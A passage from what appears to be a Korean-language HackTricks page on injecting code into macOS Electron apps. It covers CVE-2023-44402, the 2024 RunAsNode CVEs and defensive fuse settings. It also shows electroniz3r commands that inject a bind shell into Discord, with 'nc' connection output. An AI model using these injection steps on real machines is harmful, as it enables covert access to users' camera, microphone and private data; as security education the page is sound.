์ด์ „ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜๋ฉด Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ž์‹ ํ”„๋กœ์„ธ์Šค๋Š” ๋ถ€๋ชจ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๋™์ผํ•œ ์ƒŒ๋“œ๋ฐ•์Šค ํ”„๋กœํ•„์—์„œ ์‹คํ–‰๋˜๋ฉฐ TCC ๊ถŒํ•œ์„ ์ƒ์†ํ•ฉ๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ ์˜ˆ๋ฅผ ๋“ค์–ด ์นด๋ฉ”๋ผ๋‚˜ ๋งˆ์ดํฌ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ๊ถŒํ•œ์„ ์•…์šฉํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด, ํ”„๋กœ์„ธ์Šค์—์„œ ๋‹ค๋ฅธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

์ฃผ๋ชฉํ•  ๋งŒํ•œ Electron macOS ์ทจ์•ฝ์  (2023-2024)

CVE-2023-44402 โ€“ ASAR ๋ฌด๊ฒฐ์„ฑ ์šฐํšŒ

Electron โ‰ค22.3.23 ๋ฐ ๋‹ค์–‘ํ•œ 23-27 ํ”„๋ฆฌ ๋ฆด๋ฆฌ์Šค๋Š” .app/Contents/Resources ํด๋”์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ embeddedAsarIntegrityValidation ๋ฐ onlyLoadAppFromAsar ํ“จ์ฆˆ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฒ„๊ทธ๋Š” ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ๊ธฐ์—์„œ ๋ฐœ์ƒํ•œ ํŒŒ์ผ ์œ ํ˜• ํ˜ผ๋™์œผ๋กœ, ๊ฒ€์ฆ๋œ ์•„์นด์ด๋ธŒ ๋Œ€์‹  app.asar๋ผ๋Š” ์ด๋ฆ„์˜ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ๋กœ๋“œ๋˜๋„๋ก ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ์— ๋ฐฐ์น˜๋œ ๋ชจ๋“  JavaScript๋Š” ์•ฑ์ด ์‹œ์ž‘๋  ๋•Œ ์‹คํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ํ•˜๋“œ๋‹ ๊ฐ€์ด๋“œ๋ฅผ ๋”ฐ๋ฅด๊ณ  ๋‘ ํ“จ์ฆˆ๋ฅผ ๋ชจ๋‘ ํ™œ์„ฑํ™”ํ•œ ๊ณต๊ธ‰์—…์ฒด์กฐ์ฐจ๋„ macOS์—์„œ ์—ฌ์ „ํžˆ ์ทจ์•ฝํ–ˆ์Šต๋‹ˆ๋‹ค.

ํŒจ์น˜๋œ Electron ๋ฒ„์ „: 22.3.24, 24.8.3, 25.8.1, 26.2.1 ๋ฐ 27.0.0-alpha.7. ์ด์ „ ๋นŒ๋“œ๋ฅผ ์‹คํ–‰ ์ค‘์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฐœ๊ฒฌํ•œ ๊ณต๊ฒฉ์ž๋Š” Contents/Resources/app.asar๋ฅผ ์ž์‹ ์˜ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ๋ฎ์–ด์จ์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ TCC ๊ถŒํ•œ์œผ๋กœ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

2024 โ€œRunAsNodeโ€ / โ€œenableNodeCliInspectArgumentsโ€ CVE ํด๋Ÿฌ์Šคํ„ฐ

2024๋…„ 1์›”, ์ผ๋ จ์˜ CVE(CVE-2024-23738๋ถ€ํ„ฐ CVE-2024-23743๊นŒ์ง€)๊ฐ€ ๋งŽ์€ Electron ์•ฑ์ด ์—ฌ์ „ํžˆ RunAsNode ๋ฐ EnableNodeCliInspectArguments ํ“จ์ฆˆ๋ฅผ ํ™œ์„ฑํ™”ํ•œ ์ƒํƒœ๋กœ ๋ฐฐํฌ๋œ๋‹ค๋Š” ์ ์„ ๊ฐ•์กฐํ–ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋กœ์ปฌ ๊ณต๊ฒฉ์ž๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ELECTRON_RUN_AS_NODE=1 ๋˜๋Š” --inspect-brk์™€ ๊ฐ™์€ ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ์„ ๋‹ค์‹œ ์‹œ์ž‘ํ•˜์—ฌ ์ผ๋ฐ˜ Node.js ํ”„๋กœ์„ธ์Šค๋กœ ์ „ํ™˜ํ•˜๊ณ  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ชจ๋“  ์ƒŒ๋“œ๋ฐ•์Šค ๋ฐ TCC ๊ถŒํ•œ์„ ์ƒ์†๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Electron ํŒ€์€ โ€œ์น˜๋ช…์ โ€ ๋“ฑ๊ธ‰์— ์ด์˜๋ฅผ ์ œ๊ธฐํ•˜๊ณ  ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฏธ ๋กœ์ปฌ ์ฝ”๋“œ ์‹คํ–‰์ด ํ•„์š”ํ•˜๋‹ค๊ณ  ์–ธ๊ธ‰ํ–ˆ์ง€๋งŒ, ์ด ๋ฌธ์ œ๋Š” ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡ ์ค‘์— ์—ฌ์ „ํžˆ ๊ฐ€์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ์ทจ์•ฝํ•œ Electron ๋ฒˆ๋“ค์„ ์ž์› ํ™œ์šฉ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ์ „ํ™˜ํ•˜์—ฌ ์˜ˆ๋ฅผ ๋“ค์–ด ์—ฐ๋ฝ์ฒ˜, ์‚ฌ์ง„ ๋˜๋Š” ์ด์ „์— ๋ฐ์Šคํฌํƒ‘ ์•ฑ์— ๋ถ€์—ฌ๋œ ๊ธฐํƒ€ ๋ฏผ๊ฐํ•œ ๋ฆฌ์†Œ์Šค๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

Electron ์œ ์ง€ ๊ด€๋ฆฌ์ž์˜ ๋ฐฉ์–ด ์ง€์นจ:

  • ํ”„๋กœ๋•์…˜ ๋นŒ๋“œ์—์„œ RunAsNode ๋ฐ EnableNodeCliInspectArguments ํ“จ์ฆˆ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์‹ญ์‹œ์˜ค.
  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ •๋‹นํ•˜๊ฒŒ ๋„์šฐ๋ฏธ Node.js ํ”„๋กœ์„ธ์Šค๊ฐ€ ํ•„์š”ํ•˜๋‹ค๋ฉด, ์ด๋Ÿฌํ•œ ํ“จ์ฆˆ๋ฅผ ๋‹ค์‹œ ํ™œ์„ฑํ™”ํ•˜๋Š” ๋Œ€์‹  ์ตœ์‹  UtilityProcess API๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค.

์ž๋™ ์ฃผ์ž…

๋„๊ตฌ electroniz3r๋Š” ์ทจ์•ฝํ•œ Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‰ฝ๊ฒŒ ์ฐพ์•„์„œ ๊ทธ ์œ„์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” --inspect ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค:

์ง์ ‘ ์ปดํŒŒ์ผํ•ด์•ผ ํ•˜๋ฉฐ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Find electron apps
./electroniz3r list-apps

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
โ•‘    Bundle identifier                      โ”‚       Path                                               โ•‘
โ•šโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

Loki๋Š” Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ JavaScript ํŒŒ์ผ์„ Loki Command & Control JavaScript ํŒŒ์ผ๋กœ ๊ต์ฒดํ•˜์—ฌ ๋ฐฑ๋„์–ด๋ฅผ ์„ค๊ณ„ํ–ˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ